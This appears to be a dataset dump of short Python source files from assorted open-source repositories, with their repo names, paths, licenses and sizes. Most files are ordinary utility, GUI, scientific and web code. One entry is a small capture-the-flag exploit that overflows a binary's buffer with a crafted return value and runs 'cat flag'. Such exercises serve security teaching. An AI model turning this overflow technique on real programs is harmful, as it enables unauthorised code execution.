code
stringlengths
2
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
from scipy.sparse.linalg import LinearOperator, eigsh, svds import project import a import quaternion import numpy as np import myio from subprocess import Popen from scipy.sparse import lil_matrix import os import mrcfile import pandas import star import get_cov import compress_data import p def op(input_data, doSave...
hstau/covar-cryo
covariance/covar3d_single.py
Python
gpl-2.0
2,555
from django.http import HttpResponse import datetime def helloworld(request): return HttpResponse("hello world") def mydatetime(request): now = datetime.datetime.now() html = "<html><body>It is now %s.</body></html>" % now return HttpResponse(html)
EmreOzbey/PythonWeapons
account/views.py
Python
gpl-2.0
268
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2008-2009 Zuza Software Foundation # # This file is part of Pootle. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2...
lehmannro/pootle
local_apps/pootle_misc/aggregate.py
Python
gpl-2.0
2,779
# #@BEGIN LICENSE # # PSI4: an ab initio quantum chemistry software package # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later ver...
spring01/libPSI
lib/python/pubchem.py
Python
gpl-2.0
7,182
from __future__ import print_function import os from enigma import eTimer from Components.config import config from Components.ActionMap import ActionMap from Components.FileList import FileList from Components.Sources.List import List from Components.Sources.StaticText import StaticText from Components.Task import T...
Taapat/enigma2-plugin-youtube
src/YouTubeDownload.py
Python
gpl-2.0
8,361
# -*- coding: utf-8 -*- # # Copyright (C) 2009 UNINETT AS # # This file is part of Network Administration Visualized (NAV). # # NAV is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2 as published by # the Free Software Foundation. # # This program is...
alexanderfefelov/nav
python/nav/mibs/etherlike_mib.py
Python
gpl-2.0
1,336
import sys import PyQt4.QtCore import PyQt4.QtGui import memdam.common.utils import memdam.recorder.user.api import memdam.recorder.application class User(memdam.recorder.user.api.User): def __init__(self, ): self.app = memdam.recorder.application.app() def prompt_user(self, prompt_text): ...
joshalbrecht/memdam
memdam/recorder/user/qtgui.py
Python
gpl-2.0
2,051
def n_primos(n): np=0 fator=2 while n % fator !=0 and fator<=n/2: fator+=1 if n % fator == 0: pass else: np+=1 return np
david81brs/seaport
week6/l7.py
Python
gpl-2.0
185
''' Created on Feb 2, 2014 @author: Chris ''' import time from gooey import Gooey @Gooey(config=False) def main(): end = time.time() + 1 while end > time.time(): print 'Jello!', time.time() time.sleep(.8) if __name__ == '__main__': main()
garrettcap/Bulletproof-Backup
gooey/mockapplications/module_with_no_argparse.py
Python
gpl-2.0
277
""" Ethernet (TCP/IP protocol stack) """ from binascii import unhexlify from construct import * from construct.core import * from protocols.layer3.ipv4 import IpAddress from ethernet import MacAddress ''' def HwAddress(name): return IfThenElse(name, lambda ctx: ctx.hardware_type == "ETHERNET", MacAddressA...
asterisk/testsuite
lib/python/protocols/layer2/arp.py
Python
gpl-2.0
2,344
"""Module to define arguments and properties """ import sys import os import argparse def get_args(name,args): """ Parses arguments of any file """ desc = { "wc_med" : "Main class used to calculate word count and medians.", "manage" : "Global import file to maintain arguments across module...
nave91/DECC
src/properties.py
Python
gpl-2.0
2,060
from __future__ import print_function import os import unittest from molbiox.algor.translate import CodonTable from molbiox.frame.signature import Sig from molbiox.frame.regexon import Regexon from molbiox.kb.translate import get_transl_table sub = Regexon.new(r'[^a-zA-Z]', '') test_data = { 'dna': """ TTGAT...
frozflame/molbiox
tests/test_translate.py
Python
gpl-2.0
2,906
############################################################################### # # # Copyright 2019. Triad National Security, LLC. All rights reserved. # # This program was produced under U.S. Government contract 89233218CNA000001 # ...
CSD-Public/stonix
preprpm.py
Python
gpl-2.0
4,113
"""Additional utilities for ndarray used repetetively.""" import numpy as np def find_nearest(array, value): """Find the nearest value and index inside an ndarray. Parameters ---------- array : ndarray Array in which the value has to be search. value : array.dtype Targetted valu...
glemaitre/protoclass
protoclass/utils/array_helper.py
Python
gpl-2.0
557
from Card import Card from RecognitionEngine import Value import random class CardDeck: def __init__(self, cards = None): if cards is None: self.cards = [ Card(None, None, Value.Two), Card(None, None, Value.Two), Card(None, None, Value.Two), Card(None, None, Value.Two), Card(None, None, Value.Three), Card...
dangrie158/Nao-Blackjack
lib/CardDeck.py
Python
gpl-2.0
2,534
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Belati is tool for Collecting Public Data & Public Document from Website and other service for OSINT purpose. # This tools is inspired by Foca and Datasploit for OSINT # Copyright (C) 2017 cacaddv@gmail.com (Petruknisme a.k.a Aan Wahyu) # This program is free...
aancw/Belati
plugins/git_finder.py
Python
gpl-2.0
1,686
############################################################################### # # # Copyright 2019. Triad National Security, LLC. All rights reserved. # # This program was produced under U.S. Government contract 89233218CNA000001 # ...
CSD-Public/stonix
src/stonix_resources/rules/DisableCloudServices.py
Python
gpl-2.0
7,890
""" A ground-penetrating-radar processor written in Python. """
kmunve/processgpr
__init__.py
Python
gpl-2.0
63
try: value = None except ImportError: value = 1 """ if node.orelse: orelse_last_nodes = self.handle_or_else(node.orelse, try_node) body.last_statements.extend(orelse_last_nodes) else: body.last_statements.append(try_node) # if there is no orelse, test needs a...
python-security/pyt
examples/example_inputs/try.py
Python
gpl-2.0
643
# -*- coding: utf-8 -*- """Provides custom exceptions for the ``cfme`` module. """ import pytest from cfme.utils.log import logger class CFMEException(Exception): """Base class for exceptions in the CFME tree Used to easily catch errors of our own making, versus errors from external libraries. """ p...
jkandasa/integration_tests
cfme/exceptions.py
Python
gpl-2.0
11,985
# -*- coding: utf-8 -*- # # RERO ILS # Copyright (C) 2019 RERO # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, version 3 of the License. # # This program is distributed in the hope that...
rero/reroils-app
rero_ils/modules/locations/listener.py
Python
gpl-2.0
1,602
#!/usr/bin/env python import os import sys import re import commands required_params = ('ifaceopt',) optional_params = {} VIRSH_QUIET_IFACE_LIST = "virsh --quiet iface-list %s | awk '{print ""$%s""}'" NETWORK_CONFIG = "/etc/sysconfig/network-scripts/" IFCONFIG_DRIVER = "ifconfig %s | sed 's/[ \t].*//;/^$/d'" GET_MAC...
ryanmiao/libvirt-test-API
repos/interface/iface_list.py
Python
gpl-2.0
8,644
import math def HSLtoRGB(H=0,S=0.5,I=0.5): H = float(H) S = float(S) I = float(I) H = math.fmod(H,360) H = 3.14159*H/float(180) if S > 1: S = 1 elif S < 0: S = 0 if I > 1: I = 1 elif I < 0: I = 0 if H < 2.09439: r = 255*I/3*(1+S*math.cos(H)/math.cos(1.047196667-H)) g = 255*I/3*(1+S*(1-math...
paulfantom/YAAL
controller/utils/colors.py
Python
gpl-2.0
1,514
__author__ = 'Fabrizio' # import necessary libraries from kivy.app import App from kivy.uix.scatter import Scatter from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button #class for the Spike_zoomApp class Spike_ZoomApp(App): def build(self): float = FloatLayout() # define the flo...
ForAP/Advanc3d-Pr0graming
Spikes/spikeZoom.py
Python
gpl-2.0
1,100
# -*- mode: python -*- # -*- coding: iso8859-15 -*- ############################################################################## # # Gestion scolarite IUT # # Copyright (c) 2001 - 2013 Emmanuel Viennet. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the term...
denys-duchier/Scolar
sco_evaluations.py
Python
gpl-2.0
19,307
import conedy as co N = co.network() newNodeNumber = N.addNode(co.logisticMap()) #N.printNodeStatistics() N.observe(newNodeNumber+1, "output/observe.py.series") N.evolve (0.0,10.0)
Conedy/Conedy
testing/moreTests/observeFail2.py
Python
gpl-2.0
194
"""This module provides an interface for users to interact with the program during execution""" import logging import cmd import time import os import pprint from deepthought.processing import analyser from deepthought.api import api_server class Console(cmd.Cmd): """Start threads and allow users to interact wit...
depressedsheep/twitter-deepthought
deepthought/console.py
Python
gpl-2.0
4,317
import traceback, time from display import Display from gun import Gun from alien import Alien class Game(object): def __init__(self): pass def status(self, display, lives, score, level): display.putstring(1, 1, "Score: " + str(score)) display.putstring(1, 40, "Lives: " + str(lives)) display.putstring(1, 70...
belambic/invaders
game.py
Python
gpl-2.0
2,445
#!/usr/bin/python2.6 import os, sys from optparse import OptionParser class WordListParser: def __init__(self, input_file): self.input_file = open(input_file, 'r') def yield_tuple(self): i = 0 for line in self.input_file: ...
patyoon/predict_applied
parse_word_list.py
Python
gpl-2.0
937
# -*- coding: utf-8 -*- import ConfigParser as cp from collections import defaultdict conf = cp.SafeConfigParser() # define default config: #----------------------- # basic block section conf.add_section('block') conf.set('block', 'header' , 'True') conf.set('block', 'footer' , 'False') conf.set('block', 'bytec...
chubbymaggie/amoco
amoco/config.py
Python
gpl-2.0
1,198
''' Скрипт берёт на вход отлемматизированные тексты с устранёнными вариантами разбора типа "filename_mystem_vopr_del.txt" и считает weirdness для биграмм. На выходе -- файлы типа "weirdness_bi_wo_limit_filename_mystem_vopr_del.txt" со строками вида "биграмма:значение weirdness", упорядоченными по убыванию значения. ...
school-tagger/school
processing/3b_weirdness_bi.py
Python
gpl-2.0
6,570
# # ***** BEGIN LICENSE BLOCK ***** # # Source last modified: $Id: test_bif.py,v 1.3 2007/04/30 22:51:13 jfinnecy Exp $ # # Copyright Notices: # # Portions Copyright (c) 1995-2006 RealNetworks, Inc. All Rights Reserved. # # Patent Notices: This file may contain technology protected by one or # ...
muromec/qtopia-ezx
src/3rdparty/libraries/helix/src/build/test/lib/test_bif.py
Python
gpl-2.0
17,473
# Create your views here. from chado.models import * import django_databrowse django_databrowse.site.register(Cv, Db, Cvterm, Dbxref, Feature, FeatureSynonym, CvtermRelationship, FeatureRelationship, FeatureCvterm)
NUBIC/gene-network
django/chado/views.py
Python
gpl-2.0
217
# # Copyright 2001 - 2006 Ludek Smid [http://www.ospace.net/] # # This file is part of Pygame.UI. # # Pygame.UI is free software; you can redistribute it and/or modify # it under the terms of the Lesser GNU General Public License as published by # the Free Software Foundation; either version 2.1 of the License, or...
Lukc/ospace-lukc
client-pygame/lib/pygameui/Menu.py
Python
gpl-2.0
3,315
""" Module simplifying manipulation of XML described at http://libvirt.org/formatdomain.html """ import logging import platform import re from .. import xml_utils from .. import utils_misc from ..libvirt_xml import base, accessors, xcepts from ..libvirt_xml.devices import librarian class VMXMLDevices(list): ""...
sathnaga/avocado-vt
virttest/libvirt_xml/vm_xml.py
Python
gpl-2.0
146,906
from pwn import * p = process(['overflow1','A'*16+pack(0xc0deface)]) #p.interactive() p.sendline('cat flag\n')
spchal/Pwn-Write-ups
picoctf/overflow1/ex_overflow1.py
Python
gpl-2.0
112
# # Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in th...
dannykopping/mysql-utilities
mysql-test/suite/replication/t/rpl_admin_logfile.py
Python
gpl-2.0
3,331
## PyZUI 0.1 - Python Zooming User Interface ## Copyright (C) 2009 David Roberts <d@vidr.cc> ## ## This program is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License ## as published by the Free Software Foundation; either version 2 ## of the License, or (at you...
davidar/pyzui
pyzui/physicalobject.py
Python
gpl-2.0
6,400
from nadex.rest_api import NadexRestApi from nadex.stream_api import NadexStreamApi
knoguchi/nadex
nadex/api.py
Python
gpl-2.0
84
# This file is part of MyPaint. # Copyright (C) 2011,2012 by Andrew Chadwick <andrewc-git@piffle.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at ...
prescott66/mypaint
gui/colors/hsvtriangle.py
Python
gpl-2.0
3,715
# # Copyright 2009-2011 Red Hat, Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed ...
aglitke/vdsm
vdsm/storage/sp.py
Python
gpl-2.0
78,461
#!/usr/bin/env python import argparse import hashlib import sys import os def main(): args = parse_args() filename = args.filename if os.path.isfile(filename): try: filedata = open(filename,'rb').read() md5hash = hashlib.md5(filedata).hexdigest() print("{0} is th...
youtah/misc
python/md5file.py
Python
gpl-2.0
1,006
#!/usr/bin/env python import os import sys from optparse import OptionParser from os import close, unlink from tempfile import mkstemp from ModestMaps import mapByExtentZoom from ModestMaps.Geo import Location from ModestMaps.Providers import TemplatedMercatorProvider from raven import Client from cairoutils import...
fieldpapers/fp-legacy
decoder/create_page.py
Python
gpl-2.0
4,158
#!/usr/bin/python3 # @begin:license # # Copyright (c) 2015-2019, Benjamin Niemann <pink@odahoda.de> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at y...
odahoda/noisicaa
noisicaa/builtin_nodes/instrument/node_description.py
Python
gpl-2.0
1,770
# This source file was part of the FoundationDB open source project # # Copyright 2013-2018 Apple Inc. and the FoundationDB project authors # Copyright 2018 Amirouche Boubekki <amirouche.boubekki@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in complia...
amirouche/AjguDB
hoply/tuple.py
Python
gpl-2.0
6,254
''' Created on 04.09.2010 @author: basti ''' import os import logging import re import airxploit.fuckup class PluginController(object): ''' read plugin dirs load plugins on demand ''' def __init__(self, pcc): self.pcc = pcc self.scanner = {} self._plugins = {} ...
balle/airxploit
src/airxploit/core/plugincontroller.py
Python
gpl-2.0
3,200
# filesystems.py # Filesystem classes for anaconda's storage configuration module. # # Copyright (C) 2009 Red Hat, Inc. # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of # the GNU General Public License v.2, or (at your o...
mattias-ohlsson/anaconda
pyanaconda/storage/formats/fs.py
Python
gpl-2.0
49,736
import sys from PyQt4 import QtGui from PyQt4 import QtCore class GPIOActions(QtCore.QObject): #Raw Register signals get_pressed = QtCore.pyqtSignal(int, name = "get_pressed") set_pressed = QtCore.pyqtSignal(int, int, name = "set_pressed") read_rate_change = QtCore.pyqtSignal(int, name = "read_rate_c...
CospanDesign/nysa-gui
NysaGui/host/gpio_controller/gpio_actions.py
Python
gpl-2.0
1,014
import unicodedata ##root node and children need to be ORDERED, not regular ones def export(rootNode, xmlFile): fileStr = _processNode(rootNode) if type(fileStr) is unicode: fileStr = unicodedata.normalize('NFKD', fileStr).encode('ascii','ignore') xmlFile.write(fileStr...
SportySpice/Collections
src/cxml/exporter.py
Python
gpl-2.0
2,183
#! /usr/bin/env python # -*- coding: utf-8 -*- # # This file is part of SPORE. # # Copyright (C) 2016, the SPORE team (see AUTHORS). # # SPORE is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 ...
IGITUGraz/spore-nest-module
unittests/test_garbage_collector.py
Python
gpl-2.0
10,175
import os import sys import datetime from .compat import get_file_dir from .plugin_locale import Locale plugin_dir = get_file_dir(__file__) class News(object): """docstring for News""" def __init__(self, qms_news, date_start=None, date_finish=None): super(News, self).__init__() html = qms_news.get_text(Local...
nextgis/quickmapservices
src/qms_news.py
Python
gpl-2.0
790
# -*- coding: utf-8 -*- __author__ = 'Artem Krutalevich' ''' All time-related constants are meant to be in milliseconds, unless other context is set explicitly. All frequency-related constants are meant to be in hertz, unless other context is set explicitly. ''' # Global application version SH_NAME = 'SmartHome' SH_V...
Scanters/smart-home
smarthome/lib_utils/Constants.py
Python
gpl-2.0
3,933
# coding: utf-8 from qgis.gui import QgsAuthImportIdentityDialog auth_import_identity_dialog = QgsAuthImportIdentityDialog( QgsAuthImportIdentityDialog.IdentityType(), None ) auth_import_identity_dialog.show()
webgeodatavore/pyqgis-samples
gui/qgis-sample-QgsAuthImportIdentityDialog.py
Python
gpl-2.0
220
#!/usr/bin/env python3 ############################################################################### # # # Copyright 2019. Triad National Security, LLC. All rights reserved. # # This program was produced under U.S. Government contrac...
CSD-Public/stonix
src/tests/rules/unit_tests/zzzTestRuleNoEmptyPasswords.py
Python
gpl-2.0
4,518
"""Utils for dealing with Nodes/Plugins.""" import json import node import types class NodeEncoder(json.JSONEncoder): """Encoder for JSONifying nodes.""" def default(self, n): """Flatten node for JSON encoding.""" if issubclass(n, node.Node): return dict( name=n.n...
mikesname/python-nodetree
nodetree/utils.py
Python
gpl-2.0
872
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess, csv, argparse, tempfile from datetime import datetime, timedelta from collections import Counter import matplotlib.pyplot as plt import matplotlib.dates as mdates import dateutil.parser def get_arguments(): """Get arguments from command line""" ...
rfrail3/tuptime
misc/scripts/tuptime-plot2.py
Python
gpl-2.0
8,773
#!/bin/env python3 # AUTHORS: # Hakan Ozadam # # Moore Laboratory # UMASS Medical School / HHMI # RNA Therapeutics Institute # Albert Sherman Center, ASC4-1009 # 368 Plantation Street # Worcester, MA 01605 # USA # #################################################...
hakanozadam/bal
bal/bin/scripts/filter_general_from_sam.py
Python
gpl-2.0
4,574
#!/usr/bin/python # -*- encoding: utf-8; py-indent-offset: 4 -*- # +------------------------------------------------------------------+ # | ____ _ _ __ __ _ __ | # | / ___| |__ ___ ___| | __ | \/ | |/ / | # | | | | '_ \ / _ \/ __| |/ /...
huiyiqun/check_mk
web/htdocs/i18n.py
Python
gpl-2.0
6,311
# -*- coding: utf-8 -*- """ /*************************************************************************** Name : DB Manager Description : Database manager plugin for QGIS Date : Oct 13, 2011 copyright : (C) 2011 by Giuseppe Sucameli email : brush.tyler@...
GeoCat/QGIS
python/plugins/db_manager/dlg_table_properties.py
Python
gpl-2.0
11,004
from constants import * import pygame from pygame import rect from constants import PART_SIZE class Wall: passable = True existing = True def __init__(self, coords): self.screen = pygame.display.set_mode(SCREEN_SIZE) walls.append(self) self.brick = pygame.image.load("pictures/bri...
stcakova/Battle-city
part.py
Python
gpl-2.0
2,626
import pycurl import os import commands #import libcurl import sys ''' Nohidy is a free software you could redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation either version 3.0 of the License or any later version. Nohidy is free of charge b...
flipchan/Nohidy
botnetsearch.py
Python
gpl-2.0
2,746
import copy def flattenslots(slots): return [slots.monad] + slots.stack + slots.locals class ProcInfo(object): def __init__(self, retblock, target): self.retblock = retblock self.target = target self.jsrblocks = [] assert(target is retblock.jump.target) def __str__(self): ...
sahilshekhawat/ApkDecompiler
javadecompiler/Krakatau/ssa/subproc.py
Python
gpl-2.0
2,022
import subprocess import glob import sys import os current_path = os.getcwd() + "/" directories = glob.glob(current_path+ "*") #clean directories = [x for x in directories if "/test" not in x] for f in directories: seed = f.split("-")[-1] with open(f+"/metadata", "r") as meta: print meta.read() ...
edgarcosta92/ns3
scripts/print_all_tables.py
Python
gpl-2.0
412
# -*- coding: utf-8 -*- """ /*************************************************************************** InADSGeoCoderDialog A QGIS plugin Geocoder plugin for Estonian InADS geocoding service ------------------- begin : 2016-06-07 ...
sookoll/qgis_plugin_inads_geocoder
InADSGeoCoder/inads_geocoder_dialog.py
Python
gpl-2.0
1,842
# DFF -- An Open Source Digital Forensics Framework # Copyright (C) 2009-2010 ArxSys # This program is free software, distributed under the terms of # the GNU General Public License Version 2. See the LICENSE file # at the top of the source tree. # # See http://www.digital-forensic.org for more information about this...
elthariel/dff
modules/viewer/hexedit/bookmark.py
Python
gpl-2.0
8,926
from plone.memoize.instance import memoize from zope.component import getAllUtilitiesRegisteredFor, queryMultiAdapter from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile from Products.Five.browser import BrowserView from Products.CMFCore.utils import getToolByName from Products.GenericSetup.context ...
uwosh/uwosh.northstar
uwosh/northstar/browser/generator.py
Python
gpl-2.0
20,302
# encoding: utf-8 from yade import utils,pack,geom,qt import matplotlib from pylab import * import math O.engines=[ ForceResetter(), InsertionSortCollider([ #Bo1_GridConnection_Aabb(), Bo1_PFacet_Aabb(), ],sortThenCollide=True), InteractionLoop( [Ig2_GridNode_GridNode_GridNodeGeom6D(), Ig2_Sphere_Grid...
anna-effeindzourou/trunk
examples/anna_scripts/tilt/PFacet_PFacet.py
Python
gpl-2.0
5,970
__copyright__ = """ Copyright (C) 2005, Catalin Marinas <catalin.marinas@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be ...
miracle2k/stgit
stgit/commands/rename.py
Python
gpl-2.0
1,848
# -*- coding: utf-8 -*- __all__ = "ParallelIO" from abc import ABC from warnings import warn import parallel from numpy import uint8 from . import IOBase def num2boolgen(num): for bit in reversed(bin(num)[2:]): yield bit == "1" class ParallelIO(IOBase, ABC): """ Parallel port I/O. Make ...
Davideddu/python-pywiring
pywiring/parport.py
Python
gpl-2.0
4,478
#!/usr/bin/env python3 from __future__ import print_function import glob import os import sys import distutils.command.build from distutils.core import Command from setuptools import setup def unsupported_python_version(): return sys.version_info < (2, 7) \ or (sys.version_info > (3,) and sys.version_i...
wgwoods/python-bugzilla
setup.py
Python
gpl-2.0
4,478
#!/usr/bin/env python from google.appengine.ext import ndb class Recipe(ndb.Model): name = ndb.StringProperty() totalprice = ndb.FloatProperty() totaltime = ndb.FloatProperty() healthrating = ndb.IntegerProperty() notes = ndb.StringProperty()
jmgilman/MyRecipes
models/recipe.py
Python
gpl-2.0
255
""" Play DVS events in real time TODO: deal with looping event times for recordings > 65 s """ import numpy as np import matplotlib.pyplot as plt import dvs def close(a, b, atol=1e-8, rtol=1e-5): return np.abs(a - b) < atol + rtol * b def imshow(image, ax=None): ax = plt.gca() if ax is None else ax ax.i...
hunse/vrep-python
dvs-play.py
Python
gpl-2.0
1,515
# # # Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013 Google Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later...
sarahn/ganeti
lib/rpc.py
Python
gpl-2.0
26,712
####################################################################### # This file is part of JMdictDB. # Copyright (c) 2006-2010 Stuart McGraw # # JMdictDB is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published # by the Free Software Foundation...
tatsuhirosatou/JMdictDB
python/lib/fmtjel.py
Python
gpl-2.0
11,201
import os import datetime IS_DEBUG = bool(int(os.environ.get('IS_DEBUG', '0'))) _DEFAULT_ADMIN_EMAIL_LIST_RAW = os.environ.get('SCHED_EMAIL_ADMIN_LIST', '') _ADMIN_SUCCESS_EMAIL_LIST_RAW = os.environ.get( 'SCHED_EMAIL_ADMIN_LIST_SUCCESS', _DEFA...
dsoprea/PythonScheduler
scheduler/config/general.py
Python
gpl-2.0
1,083
import wx from configtool.page import Page from configtool.data import pinNames, BSIZESMALL from configtool.heaterlist import HeaterList from configtool.addheaterdlg import AddHeaterDlg class HeatersPage(wx.Panel, Page): def __init__(self, parent, nb, idPg, font): wx.Panel.__init__(self, nb, wx.ID_ANY) ...
Traumflug/Teacup_Firmware
configtool/heaterspage.py
Python
gpl-2.0
5,470
# -*- coding: utf-8 -*- ## ## This file is part of Invenio. ## Copyright (C) 2015 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option) a...
egabancho/invenio
invenio/modules/pages/testsuite/test_pages.py
Python
gpl-2.0
2,245
# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- # This file is part of Guadalinex # # This software is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, ...
gecos-team/gecosws-config-assistant
gecosws_config_assistant/util/Utils.py
Python
gpl-2.0
1,869
# -*- encoding: utf-8 -*- import sys import scipy class TSS_Sequence( object ): def __init__( self, seqname, pos ): self.seqname = seqname self.pos = pos self.flank_right = 30 self.flank_left = 30 self.sequence = str() self.length = self.flank_right + self.flank_left + 1 # pswm-specific attributes ...
polarise/python-bioclasses
BioClasses/TSS_Sequence.py
Python
gpl-2.0
3,403
# Copyright (c) 2014 Charles University in Prague, Faculty of Arts, # Institute of the Czech National Corpus # Copyright (c) 2014 Tomas Machalek <tomas.machalek@gmail.com> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License #...
czcorpus/kontext
lib/plugins/default_getlang/__init__.py
Python
gpl-2.0
3,162
import json import copy def diffAPI(exampleAPI, outputAPI): outputJson = json.loads(outputAPI) templateJson = json.loads(exampleAPI) (boolean, structDiff) = compareStruct(copy.deepcopy(outputJson),copy.deepcopy(templateJson)) if boolean: return None else: return structDiff def compareStruct(outputJson, tem...
allenlinli/ALmakeAPITester
in Contruction/APITester.py
Python
gpl-2.0
3,418
# # Copyright 2015 Antonino Ingargiola <tritemio@gmail.com> # """ This module defines a container class for voltage-sensing patch-clamp experiments. """ from __future__ import division from io import open import os import numpy as np import pandas as pd class PatchDataset: _DAQ_Sq = 'Sqrwave_DAQ.txt' _DAQ_Tr...
tritemio/voltagesensing
patchclamp.py
Python
gpl-2.0
5,063
# -*- coding: utf-8 -*- # Assignment #4.2 - An Afterword # Takes any text and character limit and cuts off all characters beyond that using the following # rule - entire word unless this is the first one. After the cut-off is done, add '...' after the text # Examples: # text = "Proin eget tortor risus." # limit = ...
pybursa/homeworks
a_lusher/hw4_alusher/hw4_solution2.py
Python
gpl-2.0
1,236
#!/usr/bin/env python ############################################################################# ## ## Copyright (C) 2015 The Qt Company Ltd. ## Contact: https://www.qt.io/licensing/ ## ## This file is part of the QtWebEngine module of the Qt Toolkit. ## ## $QT_BEGIN_LICENSE:GPL-EXCEPT$ ## Commercial License Usage ...
qtproject/qtwebengine
tools/scripts/windeploy-examples.py
Python
gpl-2.0
14,222
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2013 TRESCloud (<http://www.trescloud.com>) # Copyright (C) 2004-2010 OpenERP SA (<http://www.openerp.com>) # # This program is free software: y...
pepetreshere/odoo-trescloud-tools
trescloud_filter_partner/__openerp__.py
Python
gpl-2.0
1,459
#!/usr/bin/env python class Tree(object): def __init__(self, value, ancestor=None): self.value = value self.ancestor = ancestor self.children = [] def addbranch(self, branch): if branch: child = self.findchildren(branch[0]) if not child: ...
vianney-g/python-exercices
codingame/idroid.py
Python
gpl-2.0
909
#!/usr/bin/env python import sys import os from distutils.dist import Distribution if 'setuptools' in sys.modules or any( s.startswith('bdist') for s in sys.argv) or any( s.startswith('develop') for s in sys.argv): from setuptools import setup as setup from setuptools import Extension else: #...
pkaifosh/sima
setup.py
Python
gpl-2.0
3,902
## This file is part of Invenio. ## Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option...
NikolaYolov/invenio_backup
modules/webbasket/lib/webbasket_webinterface.py
Python
gpl-2.0
74,356
# coding: latin-1 """test_preferences.py - test the preferences module CellProfiler is distributed under the GNU General Public License. See the accompanying file LICENSE for details. Copyright (c) 2003-2009 Massachusetts Institute of Technology Copyright (c) 2009-2015 Broad Institute All rights reserved. Please see...
sstoma/CellProfiler
cellprofiler/tests/test_preferences.py
Python
gpl-2.0
4,438
#! /usr/bin/env python # -*- coding: UTF-8 -*- #----------------------------------------------------------------------------------------------------------------------* import sys, time, os import makefile, default_build_options #----------------------------------------------------------------------------------------...
TrampolineRTOS/trampoline
goil/build/libpm/python-makefiles/generic_galgas_makefile.py
Python
gpl-2.0
12,706
# monkeypatch.py - add missing functionality to standard modules # # Copyright (C) 2011 Arthur de Jong # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (a...
arthurdejong/webcheck
webcheck/monkeypatch.py
Python
gpl-2.0
2,873
__author__ = 'Hakan Uyumaz' from .user import User from .friendship_request import FriendshipRequest from .event import Event from .restaurant import Restaurant from .event_request import EventRequest from .group import Group from .comment import Comment
OEASLAN/LetsEat
web/api/models/__init__.py
Python
gpl-2.0
255
#!/usr/bin/env python """Module that checks if there is an updated version of a package available.""" from __future__ import print_function import json import os import pickle import platform import re import requests import sys import time from datetime import datetime from functools import wraps from tempfile impor...
patrickstocklin/chattR
lib/python2.7/site-packages/update_checker.py
Python
gpl-2.0
8,917
import thread import sys from socket import * import struct import time import binascii HOST = '192.168.0.98' PORT = 2333 BUFSIZE = 1024 data = struct.pack('>ccI',chr(0x00), chr(0x03), 0) ADDR = (HOST, PORT) udpCliSock = socket(AF_INET, SOCK_DGRAM) udpCliSock.sendto(data,ADDR) data,ADDR = udpCliSock.recvfro...
codysk/udpSTunServer
test/query.py
Python
gpl-2.0
361
from connection import * class SatAPISubnets(SatAPIConnection): # Constructor def __init__(self, URL, User, Password, Debug=False): SatAPIConnection.__init__(self, URL, User, Password, Debug) # Get a subnet by its Id number def getSubnet(self, Id): Response=self.GET(self.SatAPILocation...
soukron/satapi
satapi/satapilib/subnets.py
Python
gpl-2.0
2,897
# -*- coding: utf-8 -*- from pyramid.httpexceptions import HTTPForbidden from pyramid.httpexceptions import HTTPFound from pyramid.url import route_url from pyramid.view import view_config from pyramid import security import time import re from pyramid.security import remember from pyramid.security import forget fr...
nextgis/nextgisbio
nextgisbio/views/reports.py
Python
gpl-2.0
2,746
#! /usr/bin/python from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop import tornado import os from app_config import app import drop_privileges as priv class ChangeServer(object): def __init__(self, app): self.app = app def __call__(sel...
coldwaterq/want2hack
app/server.py
Python
gpl-2.0
1,929
